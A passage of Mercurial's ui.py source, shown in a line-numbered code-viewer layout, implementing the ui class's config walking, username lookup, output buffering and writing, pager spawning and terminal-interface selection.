871 | 871 | def walkconfig(self, untrusted=False): |
|
872 | 872 | cfg = self._data(untrusted) |
|
873 | 873 | for section in cfg.sections(): |
|
874 | 874 | for name, value in self.configitems(section, untrusted): |
|
875 | 875 | yield section, name, value |
|
876 | 876 | |
|
877 | 877 | def plain(self, feature=None): |
|
878 | 878 | '''is plain mode active? |
|
879 | 879 | |
|
880 | 880 | Plain mode means that all configuration variables which affect |
|
881 | 881 | the behavior and output of Mercurial should be |
|
882 | 882 | ignored. Additionally, the output should be stable, |
|
883 | 883 | reproducible and suitable for use in scripts or applications. |
|
884 | 884 | |
|
885 | 885 | The only way to trigger plain mode is by setting either the |
|
886 | 886 | `HGPLAIN' or `HGPLAINEXCEPT' environment variables. |
|
887 | 887 | |
|
888 | 888 | The return value can either be |
|
889 | 889 | - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT |
|
890 | 890 | - False if feature is disabled by default and not included in HGPLAIN |
|
891 | 891 | - True otherwise |
|
892 | 892 | ''' |
|
893 | 893 | if ( |
|
894 | 894 | b'HGPLAIN' not in encoding.environ |
|
895 | 895 | and b'HGPLAINEXCEPT' not in encoding.environ |
|
896 | 896 | ): |
|
897 | 897 | return False |
|
898 | 898 | exceptions = ( |
|
899 | 899 | encoding.environ.get(b'HGPLAINEXCEPT', b'').strip().split(b',') |
|
900 | 900 | ) |
|
901 | 901 | # TODO: add support for HGPLAIN=+feature,-feature syntax |
|
902 | 902 | if b'+strictflags' not in encoding.environ.get(b'HGPLAIN', b'').split( |
|
903 | 903 | b',' |
|
904 | 904 | ): |
|
905 | 905 | exceptions.append(b'strictflags') |
|
906 | 906 | if feature and exceptions: |
|
907 | 907 | return feature not in exceptions |
|
908 | 908 | return True |
|
909 | 909 | |
|
910 | 910 | def username(self, acceptempty=False): |
|
911 | 911 | """Return default username to be used in commits. |
|
912 | 912 | |
|
913 | 913 | Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL |
|
914 | 914 | and stop searching if one of these is set. |
|
915 | 915 | If not found and acceptempty is True, returns None. |
|
916 | 916 | If not found and ui.askusername is True, ask the user, else use |
|
917 | 917 | ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname". |
|
918 | 918 | If no username could be found, raise an Abort error. |
|
919 | 919 | """ |
|
920 | 920 | user = encoding.environ.get(b"HGUSER") |
|
921 | 921 | if user is None: |
|
922 | 922 | user = self.config(b"ui", b"username") |
|
923 | 923 | if user is not None: |
|
924 | 924 | user = os.path.expandvars(user) |
|
925 | 925 | if user is None: |
|
926 | 926 | user = encoding.environ.get(b"EMAIL") |
|
927 | 927 | if user is None and acceptempty: |
|
928 | 928 | return user |
|
929 | 929 | if user is None and self.configbool(b"ui", b"askusername"): |
|
930 | 930 | user = self.prompt(_(b"enter a commit username:"), default=None) |
|
931 | 931 | if user is None and not self.interactive(): |
|
932 | 932 | try: |
|
933 | 933 | user = b'%s@%s' % ( |
|
934 | 934 | procutil.getuser(), |
|
935 | 935 | encoding.strtolocal(socket.getfqdn()), |
|
936 | 936 | ) |
|
937 | 937 | self.warn(_(b"no username found, using '%s' instead\n") % user) |
|
938 | 938 | except KeyError: |
|
939 | 939 | pass |
|
940 | 940 | if not user: |
|
941 | 941 | raise error.Abort( |
|
942 | 942 | _(b'no username supplied'), |
|
943 | 943 | hint=_(b"use 'hg config --edit' " b'to set your username'), |
|
944 | 944 | ) |
|
945 | 945 | if b"\n" in user: |
|
946 | 946 | raise error.Abort( |
|
947 | 947 | _(b"username %r contains a newline\n") % pycompat.bytestr(user) |
|
948 | 948 | ) |
|
949 | 949 | return user |
|
950 | 950 | |
|
951 | 951 | def shortuser(self, user): |
|
952 | 952 | """Return a short representation of a user name or email address.""" |
|
953 | 953 | if not self.verbose: |
|
954 | 954 | user = stringutil.shortuser(user) |
|
955 | 955 | return user |
|
956 | 956 | |
|
957 | 957 | def expandpath(self, loc, default=None): |
|
958 | 958 | """Return repository location relative to cwd or from [paths]""" |
|
959 | 959 | try: |
|
960 | 960 | p = self.paths.getpath(loc) |
|
961 | 961 | if p: |
|
962 | 962 | return p.rawloc |
|
963 | 963 | except error.RepoError: |
|
964 | 964 | pass |
|
965 | 965 | |
|
966 | 966 | if default: |
|
967 | 967 | try: |
|
968 | 968 | p = self.paths.getpath(default) |
|
969 | 969 | if p: |
|
970 | 970 | return p.rawloc |
|
971 | 971 | except error.RepoError: |
|
972 | 972 | pass |
|
973 | 973 | |
|
974 | 974 | return loc |
|
975 | 975 | |
|
976 | 976 | @util.propertycache |
|
977 | 977 | def paths(self): |
|
978 | 978 | return paths(self) |
|
979 | 979 | |
|
980 | 980 | @property |
|
981 | 981 | def fout(self): |
|
982 | 982 | return self._fout |
|
983 | 983 | |
|
984 | 984 | @fout.setter |
|
985 | 985 | def fout(self, f): |
|
986 | 986 | self._fout = f |
|
987 | 987 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) |
|
988 | 988 | |
|
989 | 989 | @property |
|
990 | 990 | def ferr(self): |
|
991 | 991 | return self._ferr |
|
992 | 992 | |
|
993 | 993 | @ferr.setter |
|
994 | 994 | def ferr(self, f): |
|
995 | 995 | self._ferr = f |
|
996 | 996 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) |
|
997 | 997 | |
|
998 | 998 | @property |
|
999 | 999 | def fin(self): |
|
1000 | 1000 | return self._fin |
|
1001 | 1001 | |
|
1002 | 1002 | @fin.setter |
|
1003 | 1003 | def fin(self, f): |
|
1004 | 1004 | self._fin = f |
|
1005 | 1005 | |
|
1006 | 1006 | @property |
|
1007 | 1007 | def fmsg(self): |
|
1008 | 1008 | """Stream dedicated for status/error messages; may be None if |
|
1009 | 1009 | fout/ferr are used""" |
|
1010 | 1010 | return self._fmsg |
|
1011 | 1011 | |
|
1012 | 1012 | @fmsg.setter |
|
1013 | 1013 | def fmsg(self, f): |
|
1014 | 1014 | self._fmsg = f |
|
1015 | 1015 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) |
|
1016 | 1016 | |
|
1017 | 1017 | def pushbuffer(self, error=False, subproc=False, labeled=False): |
|
1018 | 1018 | """install a buffer to capture standard output of the ui object |
|
1019 | 1019 | |
|
1020 | 1020 | If error is True, the error output will be captured too. |
|
1021 | 1021 | |
|
1022 | 1022 | If subproc is True, output from subprocesses (typically hooks) will be |
|
1023 | 1023 | captured too. |
|
1024 | 1024 | |
|
1025 | 1025 | If labeled is True, any labels associated with buffered |
|
1026 | 1026 | output will be handled. By default, this has no effect |
|
1027 | 1027 | on the output returned, but extensions and GUI tools may |
|
1028 | 1028 | handle this argument and returned styled output. If output |
|
1029 | 1029 | is being buffered so it can be captured and parsed or |
|
1030 | 1030 | processed, labeled should not be set to True. |
|
1031 | 1031 | """ |
|
1032 | 1032 | self._buffers.append([]) |
|
1033 | 1033 | self._bufferstates.append((error, subproc, labeled)) |
|
1034 | 1034 | self._bufferapplylabels = labeled |
|
1035 | 1035 | |
|
1036 | 1036 | def popbuffer(self): |
|
1037 | 1037 | '''pop the last buffer and return the buffered output''' |
|
1038 | 1038 | self._bufferstates.pop() |
|
1039 | 1039 | if self._bufferstates: |
|
1040 | 1040 | self._bufferapplylabels = self._bufferstates[-1][2] |
|
1041 | 1041 | else: |
|
1042 | 1042 | self._bufferapplylabels = None |
|
1043 | 1043 | |
|
1044 | 1044 | return b"".join(self._buffers.pop()) |
|
1045 | 1045 | |
|
1046 | 1046 | def _isbuffered(self, dest): |
|
1047 | 1047 | if dest is self._fout: |
|
1048 | 1048 | return bool(self._buffers) |
|
1049 | 1049 | if dest is self._ferr: |
|
1050 | 1050 | return bool(self._bufferstates and self._bufferstates[-1][0]) |
|
1051 | 1051 | return False |
|
1052 | 1052 | |
|
1053 | 1053 | def canwritewithoutlabels(self): |
|
1054 | 1054 | '''check if write skips the label''' |
|
1055 | 1055 | if self._buffers and not self._bufferapplylabels: |
|
1056 | 1056 | return True |
|
1057 | 1057 | return self._colormode is None |
|
1058 | 1058 | |
|
1059 | 1059 | def canbatchlabeledwrites(self): |
|
1060 | 1060 | '''check if write calls with labels are batchable''' |
|
1061 | 1061 | # Windows color printing is special, see ``write``. |
|
1062 | 1062 | return self._colormode != b'win32' |
|
1063 | 1063 | |
|
1064 | 1064 | def write(self, *args, **opts): |
|
1065 | 1065 | '''write args to output |
|
1066 | 1066 | |
|
1067 | 1067 | By default, this method simply writes to the buffer or stdout. |
|
1068 | 1068 | Color mode can be set on the UI class to have the output decorated |
|
1069 | 1069 | with color modifier before being written to stdout. |
|
1070 | 1070 | |
|
1071 | 1071 | The color used is controlled by an optional keyword argument, "label". |
|
1072 | 1072 | This should be a string containing label names separated by space. |
|
1073 | 1073 | Label names take the form of "topic.type". For example, ui.debug() |
|
1074 | 1074 | issues a label of "ui.debug". |
|
1075 | 1075 | |
|
1076 | 1076 | Progress reports via stderr are normally cleared before writing as |
|
1077 | 1077 | stdout and stderr go to the same terminal. This can be skipped with |
|
1078 | 1078 | the optional keyword argument "keepprogressbar". The progress bar |
|
1079 | 1079 | will continue to occupy a partial line on stderr in that case. |
|
1080 | 1080 | This functionality is intended when Mercurial acts as data source |
|
1081 | 1081 | in a pipe. |
|
1082 | 1082 | |
|
1083 | 1083 | When labeling output for a specific command, a label of |
|
1084 | 1084 | "cmdname.type" is recommended. For example, status issues |
|
1085 | 1085 | a label of "status.modified" for modified files. |
|
1086 | 1086 | ''' |
|
1087 | 1087 | dest = self._fout |
|
1088 | 1088 | |
|
1089 | 1089 | # inlined _write() for speed |
|
1090 | 1090 | if self._buffers: |
|
1091 | 1091 | label = opts.get('label', b'') |
|
1092 | 1092 | if label and self._bufferapplylabels: |
|
1093 | 1093 | self._buffers[-1].extend(self.label(a, label) for a in args) |
|
1094 | 1094 | else: |
|
1095 | 1095 | self._buffers[-1].extend(args) |
|
1096 | 1096 | return |
|
1097 | 1097 | |
|
1098 | 1098 | # inlined _writenobuf() for speed |
|
1099 | 1099 | if not opts.get('keepprogressbar', False): |
|
1100 | 1100 | self._progclear() |
|
1101 | 1101 | msg = b''.join(args) |
|
1102 | 1102 | |
|
1103 | 1103 | # opencode timeblockedsection because this is a critical path |
|
1104 | 1104 | starttime = util.timer() |
|
1105 | 1105 | try: |
|
1106 | 1106 | if self._colormode == b'win32': |
|
1107 | 1107 | # windows color printing is its own can of crab, defer to |
|
1108 | 1108 | # the color module and that is it. |
|
1109 | 1109 | color.win32print(self, dest.write, msg, **opts) |
|
1110 | 1110 | else: |
|
1111 | 1111 | if self._colormode is not None: |
|
1112 | 1112 | label = opts.get('label', b'') |
|
1113 | 1113 | msg = self.label(msg, label) |
|
1114 | 1114 | dest.write(msg) |
|
1115 | 1115 | except IOError as err: |
|
1116 | 1116 | raise error.StdioError(err) |
|
1117 | 1117 | finally: |
|
1118 | 1118 | self._blockedtimes[b'stdio_blocked'] += ( |
|
1119 | 1119 | util.timer() - starttime |
|
1120 | 1120 | ) * 1000 |
|
1121 | 1121 | |
|
1122 | 1122 | def write_err(self, *args, **opts): |
|
1123 | 1123 | self._write(self._ferr, *args, **opts) |
|
1124 | 1124 | |
|
1125 | 1125 | def _write(self, dest, *args, **opts): |
|
1126 | 1126 | # update write() as well if you touch this code |
|
1127 | 1127 | if self._isbuffered(dest): |
|
1128 | 1128 | label = opts.get('label', b'') |
|
1129 | 1129 | if label and self._bufferapplylabels: |
|
1130 | 1130 | self._buffers[-1].extend(self.label(a, label) for a in args) |
|
1131 | 1131 | else: |
|
1132 | 1132 | self._buffers[-1].extend(args) |
|
1133 | 1133 | else: |
|
1134 | 1134 | self._writenobuf(dest, *args, **opts) |
|
1135 | 1135 | |
|
1136 | 1136 | def _writenobuf(self, dest, *args, **opts): |
|
1137 | 1137 | # update write() as well if you touch this code |
|
1138 | 1138 | if not opts.get('keepprogressbar', False): |
|
1139 | 1139 | self._progclear() |
|
1140 | 1140 | msg = b''.join(args) |
|
1141 | 1141 | |
|
1142 | 1142 | # opencode timeblockedsection because this is a critical path |
|
1143 | 1143 | starttime = util.timer() |
|
1144 | 1144 | try: |
|
1145 | 1145 | if dest is self._ferr and not getattr(self._fout, 'closed', False): |
|
1146 | 1146 | self._fout.flush() |
|
1147 | 1147 | if getattr(dest, 'structured', False): |
|
1148 | 1148 | # channel for machine-readable output with metadata, where |
|
1149 | 1149 | # no extra colorization is necessary. |
|
1150 | 1150 | dest.write(msg, **opts) |
|
1151 | 1151 | elif self._colormode == b'win32': |
|
1152 | 1152 | # windows color printing is its own can of crab, defer to |
|
1153 | 1153 | # the color module and that is it. |
|
1154 | 1154 | color.win32print(self, dest.write, msg, **opts) |
|
1155 | 1155 | else: |
|
1156 | 1156 | if self._colormode is not None: |
|
1157 | 1157 | label = opts.get('label', b'') |
|
1158 | 1158 | msg = self.label(msg, label) |
|
1159 | 1159 | dest.write(msg) |
|
1160 | 1160 | # stderr may be buffered under win32 when redirected to files, |
|
1161 | 1161 | # including stdout. |
|
1162 | 1162 | if dest is self._ferr and not getattr(self._ferr, 'closed', False): |
|
1163 | 1163 | dest.flush() |
|
1164 | 1164 | except IOError as err: |
|
1165 | 1165 | if dest is self._ferr and err.errno in ( |
|
1166 | 1166 | errno.EPIPE, |
|
1167 | 1167 | errno.EIO, |
|
1168 | 1168 | errno.EBADF, |
|
1169 | 1169 | ): |
|
1170 | 1170 | # no way to report the error, so ignore it |
|
1171 | 1171 | return |
|
1172 | 1172 | raise error.StdioError(err) |
|
1173 | 1173 | finally: |
|
1174 | 1174 | self._blockedtimes[b'stdio_blocked'] += ( |
|
1175 | 1175 | util.timer() - starttime |
|
1176 | 1176 | ) * 1000 |
|
1177 | 1177 | |
|
1178 | 1178 | def _writemsg(self, dest, *args, **opts): |
|
1179 | 1179 | _writemsgwith(self._write, dest, *args, **opts) |
|
1180 | 1180 | |
|
1181 | 1181 | def _writemsgnobuf(self, dest, *args, **opts): |
|
1182 | 1182 | _writemsgwith(self._writenobuf, dest, *args, **opts) |
|
1183 | 1183 | |
|
1184 | 1184 | def flush(self): |
|
1185 | 1185 | # opencode timeblockedsection because this is a critical path |
|
1186 | 1186 | starttime = util.timer() |
|
1187 | 1187 | try: |
|
1188 | 1188 | try: |
|
1189 | 1189 | self._fout.flush() |
|
1190 | 1190 | except IOError as err: |
|
1191 | 1191 | if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF): |
|
1192 | 1192 | raise error.StdioError(err) |
|
1193 | 1193 | finally: |
|
1194 | 1194 | try: |
|
1195 | 1195 | self._ferr.flush() |
|
1196 | 1196 | except IOError as err: |
|
1197 | 1197 | if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF): |
|
1198 | 1198 | raise error.StdioError(err) |
|
1199 | 1199 | finally: |
|
1200 | 1200 | self._blockedtimes[b'stdio_blocked'] += ( |
|
1201 | 1201 | util.timer() - starttime |
|
1202 | 1202 | ) * 1000 |
|
1203 | 1203 | |
|
1204 | 1204 | def _isatty(self, fh): |
|
1205 | 1205 | if self.configbool(b'ui', b'nontty'): |
|
1206 | 1206 | return False |
|
1207 | 1207 | return procutil.isatty(fh) |
|
1208 | 1208 | |
|
1209 | 1209 | def protectfinout(self): |
|
1210 | 1210 | """Duplicate ui streams and redirect original if they are stdio |
|
1211 | 1211 | |
|
1212 | 1212 | Returns (fin, fout) which point to the original ui fds, but may be |
|
1213 | 1213 | copy of them. The returned streams can be considered "owned" in that |
|
1214 | 1214 | print(), exec(), etc. never reach to them. |
|
1215 | 1215 | """ |
|
1216 | 1216 | if self._finoutredirected: |
|
1217 | 1217 | # if already redirected, protectstdio() would just create another |
|
1218 | 1218 | # nullfd pair, which is equivalent to returning self._fin/_fout. |
|
1219 | 1219 | return self._fin, self._fout |
|
1220 | 1220 | fin, fout = procutil.protectstdio(self._fin, self._fout) |
|
1221 | 1221 | self._finoutredirected = (fin, fout) != (self._fin, self._fout) |
|
1222 | 1222 | return fin, fout |
|
1223 | 1223 | |
|
1224 | 1224 | def restorefinout(self, fin, fout): |
|
1225 | 1225 | """Restore ui streams from possibly duplicated (fin, fout)""" |
|
1226 | 1226 | if (fin, fout) == (self._fin, self._fout): |
|
1227 | 1227 | return |
|
1228 | 1228 | procutil.restorestdio(self._fin, self._fout, fin, fout) |
|
1229 | 1229 | # protectfinout() won't create more than one duplicated streams, |
|
1230 | 1230 | # so we can just turn the redirection flag off. |
|
1231 | 1231 | self._finoutredirected = False |
|
1232 | 1232 | |
|
1233 | 1233 | @contextlib.contextmanager |
|
1234 | 1234 | def protectedfinout(self): |
|
1235 | 1235 | """Run code block with protected standard streams""" |
|
1236 | 1236 | fin, fout = self.protectfinout() |
|
1237 | 1237 | try: |
|
1238 | 1238 | yield fin, fout |
|
1239 | 1239 | finally: |
|
1240 | 1240 | self.restorefinout(fin, fout) |
|
1241 | 1241 | |
|
1242 | 1242 | def disablepager(self): |
|
1243 | 1243 | self._disablepager = True |
|
1244 | 1244 | |
|
1245 | 1245 | def pager(self, command): |
|
1246 | 1246 | """Start a pager for subsequent command output. |
|
1247 | 1247 | |
|
1248 | 1248 | Commands which produce a long stream of output should call |
|
1249 | 1249 | this function to activate the user's preferred pagination |
|
1250 | 1250 | mechanism (which may be no pager). Calling this function |
|
1251 | 1251 | precludes any future use of interactive functionality, such as |
|
1252 | 1252 | prompting the user or activating curses. |
|
1253 | 1253 | |
|
1254 | 1254 | Args: |
|
1255 | 1255 | command: The full, non-aliased name of the command. That is, "log" |
|
1256 | 1256 | not "history, "summary" not "summ", etc. |
|
1257 | 1257 | """ |
|
1258 | 1258 | if self._disablepager or self.pageractive: |
|
1259 | 1259 | # how pager should do is already determined |
|
1260 | 1260 | return |
|
1261 | 1261 | |
|
1262 | 1262 | if not command.startswith(b'internal-always-') and ( |
|
1263 | 1263 | # explicit --pager=on (= 'internal-always-' prefix) should |
|
1264 | 1264 | # take precedence over disabling factors below |
|
1265 | 1265 | command in self.configlist(b'pager', b'ignore') |
|
1266 | 1266 | or not self.configbool(b'ui', b'paginate') |
|
1267 | 1267 | or not self.configbool(b'pager', b'attend-' + command, True) |
|
1268 | 1268 | or encoding.environ.get(b'TERM') == b'dumb' |
|
1269 | 1269 | # TODO: if we want to allow HGPLAINEXCEPT=pager, |
|
1270 | 1270 | # formatted() will need some adjustment. |
|
1271 | 1271 | or not self.formatted() |
|
1272 | 1272 | or self.plain() |
|
1273 | 1273 | or self._buffers |
|
1274 | 1274 | # TODO: expose debugger-enabled on the UI object |
|
1275 | 1275 | or b'--debugger' in pycompat.sysargv |
|
1276 | 1276 | ): |
|
1277 | 1277 | # We only want to paginate if the ui appears to be |
|
1278 | 1278 | # interactive, the user didn't say HGPLAIN or |
|
1279 | 1279 | # HGPLAINEXCEPT=pager, and the user didn't specify --debug. |
|
1280 | 1280 | return |
|
1281 | 1281 | |
|
1282 | 1282 | pagercmd = self.config(b'pager', b'pager', rcutil.fallbackpager) |
|
1283 | 1283 | if not pagercmd: |
|
1284 | 1284 | return |
|
1285 | 1285 | |
|
1286 | 1286 | pagerenv = {} |
|
1287 | 1287 | for name, value in rcutil.defaultpagerenv().items(): |
|
1288 | 1288 | if name not in encoding.environ: |
|
1289 | 1289 | pagerenv[name] = value |
|
1290 | 1290 | |
|
1291 | 1291 | self.debug( |
|
1292 | 1292 | b'starting pager for command %s\n' % stringutil.pprint(command) |
|
1293 | 1293 | ) |
|
1294 | 1294 | self.flush() |
|
1295 | 1295 | |
|
1296 | 1296 | wasformatted = self.formatted() |
|
1297 | 1297 | if util.safehasattr(signal, b"SIGPIPE"): |
|
1298 | 1298 | signal.signal(signal.SIGPIPE, _catchterm) |
|
1299 | 1299 | if self._runpager(pagercmd, pagerenv): |
|
1300 | 1300 | self.pageractive = True |
|
1301 | 1301 | # Preserve the formatted-ness of the UI. This is important |
|
1302 | 1302 | # because we mess with stdout, which might confuse |
|
1303 | 1303 | # auto-detection of things being formatted. |
|
1304 | 1304 | self.setconfig(b'ui', b'formatted', wasformatted, b'pager') |
|
1305 | 1305 | self.setconfig(b'ui', b'interactive', False, b'pager') |
|
1306 | 1306 | |
|
1307 | 1307 | # If pagermode differs from color.mode, reconfigure color now that |
|
1308 | 1308 | # pageractive is set. |
|
1309 | 1309 | cm = self._colormode |
|
1310 | 1310 | if cm != self.config(b'color', b'pagermode', cm): |
|
1311 | 1311 | color.setup(self) |
|
1312 | 1312 | else: |
|
1313 | 1313 | # If the pager can't be spawned in dispatch when --pager=on is |
|
1314 | 1314 | # given, don't try again when the command runs, to avoid a duplicate |
|
1315 | 1315 | # warning about a missing pager command. |
|
1316 | 1316 | self.disablepager() |
|
1317 | 1317 | |
|
1318 | 1318 | def _runpager(self, command, env=None): |
|
1319 | 1319 | """Actually start the pager and set up file descriptors. |
|
1320 | 1320 | |
|
1321 | 1321 | This is separate in part so that extensions (like chg) can |
|
1322 | 1322 | override how a pager is invoked. |
|
1323 | 1323 | """ |
|
1324 | 1324 | if command == b'cat': |
|
1325 | 1325 | # Save ourselves some work. |
|
1326 | 1326 | return False |
|
1327 | 1327 | # If the command doesn't contain any of these characters, we |
|
1328 | 1328 | # assume it's a binary and exec it directly. This means for |
|
1329 | 1329 | # simple pager command configurations, we can degrade |
|
1330 | 1330 | # gracefully and tell the user about their broken pager. |
|
1331 | 1331 | shell = any(c in command for c in b"|&;<>()$`\\\"' \t\n*?[#~=%") |
|
1332 | 1332 | |
|
1333 | 1333 | if pycompat.iswindows and not shell: |
|
1334 | 1334 | # Window's built-in `more` cannot be invoked with shell=False, but |
|
1335 | 1335 | # its `more.com` can. Hide this implementation detail from the |
|
1336 | 1336 | # user so we can also get sane bad PAGER behavior. MSYS has |
|
1337 | 1337 | # `more.exe`, so do a cmd.exe style resolution of the executable to |
|
1338 | 1338 | # determine which one to use. |
|
1339 | 1339 | fullcmd = procutil.findexe(command) |
|
1340 | 1340 | if not fullcmd: |
|
1341 | 1341 | self.warn( |
|
1342 | 1342 | _(b"missing pager command '%s', skipping pager\n") % command |
|
1343 | 1343 | ) |
|
1344 | 1344 | return False |
|
1345 | 1345 | |
|
1346 | 1346 | command = fullcmd |
|
1347 | 1347 | |
|
1348 | 1348 | try: |
|
1349 | 1349 | pager = subprocess.Popen( |
|
1350 | 1350 | procutil.tonativestr(command), |
|
1351 | 1351 | shell=shell, |
|
1352 | 1352 | bufsize=-1, |
|
1353 | 1353 | close_fds=procutil.closefds, |
|
1354 | 1354 | stdin=subprocess.PIPE, |
|
1355 | 1355 | stdout=procutil.stdout, |
|
1356 | 1356 | stderr=procutil.stderr, |
|
1357 | 1357 | env=procutil.tonativeenv(procutil.shellenviron(env)), |
|
1358 | 1358 | ) |
|
1359 | 1359 | except OSError as e: |
|
1360 | 1360 | if e.errno == errno.ENOENT and not shell: |
|
1361 | 1361 | self.warn( |
|
1362 | 1362 | _(b"missing pager command '%s', skipping pager\n") % command |
|
1363 | 1363 | ) |
|
1364 | 1364 | return False |
|
1365 | 1365 | raise |
|
1366 | 1366 | |
|
1367 | 1367 | # back up original file descriptors |
|
1368 | 1368 | stdoutfd = os.dup(procutil.stdout.fileno()) |
|
1369 | 1369 | stderrfd = os.dup(procutil.stderr.fileno()) |
|
1370 | 1370 | |
|
1371 | 1371 | os.dup2(pager.stdin.fileno(), procutil.stdout.fileno()) |
|
1372 | 1372 | if self._isatty(procutil.stderr): |
|
1373 | 1373 | os.dup2(pager.stdin.fileno(), procutil.stderr.fileno()) |
|
1374 | 1374 | |
|
1375 | 1375 | @self.atexit |
|
1376 | 1376 | def killpager(): |
|
1377 | 1377 | if util.safehasattr(signal, b"SIGINT"): |
|
1378 | 1378 | signal.signal(signal.SIGINT, signal.SIG_IGN) |
|
1379 | 1379 | # restore original fds, closing pager.stdin copies in the process |
|
1380 | 1380 | os.dup2(stdoutfd, procutil.stdout.fileno()) |
|
1381 | 1381 | os.dup2(stderrfd, procutil.stderr.fileno()) |
|
1382 | 1382 | pager.stdin.close() |
|
1383 | 1383 | pager.wait() |
|
1384 | 1384 | |
|
1385 | 1385 | return True |
|
1386 | 1386 | |
|
1387 | 1387 | @property |
|
1388 | 1388 | def _exithandlers(self): |
|
1389 | 1389 | return _reqexithandlers |
|
1390 | 1390 | |
|
1391 | 1391 | def atexit(self, func, *args, **kwargs): |
|
1392 | 1392 | '''register a function to run after dispatching a request |
|
1393 | 1393 | |
|
1394 | 1394 | Handlers do not stay registered across request boundaries.''' |
|
1395 | 1395 | self._exithandlers.append((func, args, kwargs)) |
|
1396 | 1396 | return func |
|
1397 | 1397 | |
|
1398 | 1398 | def interface(self, feature): |
|
1399 | 1399 | """what interface to use for interactive console features? |
|
1400 | 1400 | |
|
1401 | 1401 | The interface is controlled by the value of `ui.interface` but also by |
|
1402 | 1402 | the value of feature-specific configuration. For example: |
|
1403 | 1403 | |
|
1404 | 1404 | ui.interface.histedit = text |
|
1405 | 1405 | ui.interface.chunkselector = curses |
|
1406 | 1406 | |
|
1407 | 1407 | Here the features are "histedit" and "chunkselector". |
|
1408 | 1408 | |
|
1409 | 1409 | The configuration above means that the default interfaces for commands |
|
1410 | 1410 | is curses, the interface for histedit is text and the interface for |
|
1411 | 1411 | selecting chunk is crecord (the best curses interface available). |
|
1412 | 1412 | |
|
1413 | 1413 | Consider the following example: |
|
1414 | 1414 | ui.interface = curses |
|
1415 | 1415 | ui.interface.histedit = text |
|
1416 | 1416 | |
|
1417 | 1417 | Then histedit will use the text interface and chunkselector will use |
|
1418 | 1418 | the default curses interface (crecord at the moment). |
|
1419 | 1419 | """ |
|
1420 | 1420 | alldefaults = frozenset([b"text", b"curses"]) |
|
1421 | 1421 | |
|
1422 | 1422 | featureinterfaces = { |
|
1423 | 1423 | b"chunkselector": [b"text", b"curses",], |
|
1424 | 1424 | b"histedit": [b"text", b"curses",], |
|
1425 | 1425 | } |
|
1426 | 1426 | |
|
1427 | 1427 | # Feature-specific interface |
|
1428 | 1428 | if feature not in featureinterfaces.keys(): |
|
1429 | 1429 | # Programming error, not user error |
|
1430 | 1430 | raise ValueError(b"Unknown feature requested %s" % feature) |
|
1431 | 1431 | |
|
1432 | 1432 | availableinterfaces = frozenset(featureinterfaces[feature]) |
|
1433 | 1433 | if alldefaults > availableinterfaces: |
|
1434 | 1434 | # Programming error, not user error. We need a use case to |
|
1435 | 1435 | # define the right thing to do here. |
|
1436 | 1436 | raise ValueError( |
|
1437 | 1437 | b"Feature %s does not handle all default interfaces" % feature |
|
1438 | 1438 | ) |
|
1439 | 1439 | |
|
1440 | 1440 | if self.plain() or encoding.environ.get(b'TERM') == b'dumb': |
|
1441 | 1441 | return b"text" |
|
1442 | 1442 | |
|
1443 | 1443 | # Default interface for all the features |
|
1444 | 1444 | defaultinterface = b"text" |
|
1445 | 1445 | i = self.config(b"ui", b"interface") |
|
1446 | 1446 | if i in alldefaults: |
|
1447 | 1447 | defaultinterface = i |
|
1448 | 1448 | |
|
1449 | 1449 | choseninterface = defaultinterface |
|
1450 | 1450 | f = self.config(b"ui", b"interface.%s" % feature) |
|
1451 | 1451 | if f in availableinterfaces: |
|
1452 | 1452 | choseninterface = f |
|
1453 | 1453 | |
|
1454 | 1454 | if i is not None and defaultinterface != i: |
|
1455 | 1455 | if f is not None: |
|
1456 | 1456 | self.warn(_(b"invalid value for ui.interface: %s\n") % (i,)) |
|
1457 | 1457 | else: |
|
1458 | 1458 | self.warn( |
|
1459 | 1459 | _(b"invalid value for ui.interface: %s (using %s)\n") |
|
1460 | 1460 | % (i, choseninterface) |
|
1461 | 1461 | ) |
|
1462 | 1462 | if f is not None and choseninterface != f: |
|
1463 | 1463 | self.warn( |
|
1464 | 1464 | _(b"invalid value for ui.interface.%s: %s (using %s)\n") |
|
1465 | 1465 | % (feature, f, choseninterface) |
|
1466 | 1466 | ) |
|
1467 | 1467 | |
|
1468 | 1468 | return choseninterface |
|
1469 | 1469 | |
|
1470 | 1470 | def interactive(self): |
|
1471 | 1471 | '''is interactive input allowed? |
|
1472 | 1472 | |
|
1473 | 1473 | An interactive session is a session where input can be reasonably read |
|
1474 | 1474 | from `sys.stdin'. If this function returns false, any attempt to read |
|
1475 | 1475 | from stdin should fail with an error, unless a sensible default has been |
|
1476 | 1476 | specified. |
|
1477 | 1477 | |
|
1478 | 1478 | Interactiveness is triggered by the value of the `ui.interactive' |
|
1479 | 1479 | configuration variable or - if it is unset - when `sys.stdin' points |
|
1480 | 1480 | to a terminal device. |
|
1481 | 1481 | |
|
1482 | 1482 | This function refers to input only; for output, see `ui.formatted()'. |
|
1483 | 1483 | ''' |
|
1484 | 1484 | i = self.configbool(b"ui", b"interactive") |
|
1485 | 1485 | if i is None: |
|
1486 | 1486 | # some environments replace stdin without implementing isatty |
|
1487 | 1487 | # usually those are non-interactive |
|
1488 | 1488 | return self._isatty(self._fin) |
|
1489 | 1489 | |
|
1490 | 1490 | return i |
|
1491 | 1491 | |
|
1492 | 1492 | def termwidth(self): |
|
1493 | 1493 | '''how wide is the terminal in columns? |
|
1494 | 1494 | ''' |
|
1495 | 1495 | if b'COLUMNS' in encoding.environ: |
|
1496 | 1496 | try: |
|
1497 | 1497 | return int(encoding.environ[b'COLUMNS']) |
|
1498 | 1498 | except ValueError: |
|
1499 | 1499 | pass |
|
1500 | 1500 | return scmutil.termsize(self)[0] |
|
1501 | 1501 | |
|
1502 | 1502 | def formatted(self): |
|
1503 | 1503 | '''should formatted output be used? |
|
1504 | 1504 | |
|
1505 | 1505 | It is often desirable to format the output to suite the output medium. |
|
1506 | 1506 | Examples of this are truncating long lines or colorizing messages. |
|
1507 | 1507 | However, this is not often not desirable when piping output into other |
|
1508 | 1508 | utilities, e.g. `grep'. |
|
1509 | 1509 | |
|
1510 | 1510 | Formatted output is triggered by the value of the `ui.formatted' |
|
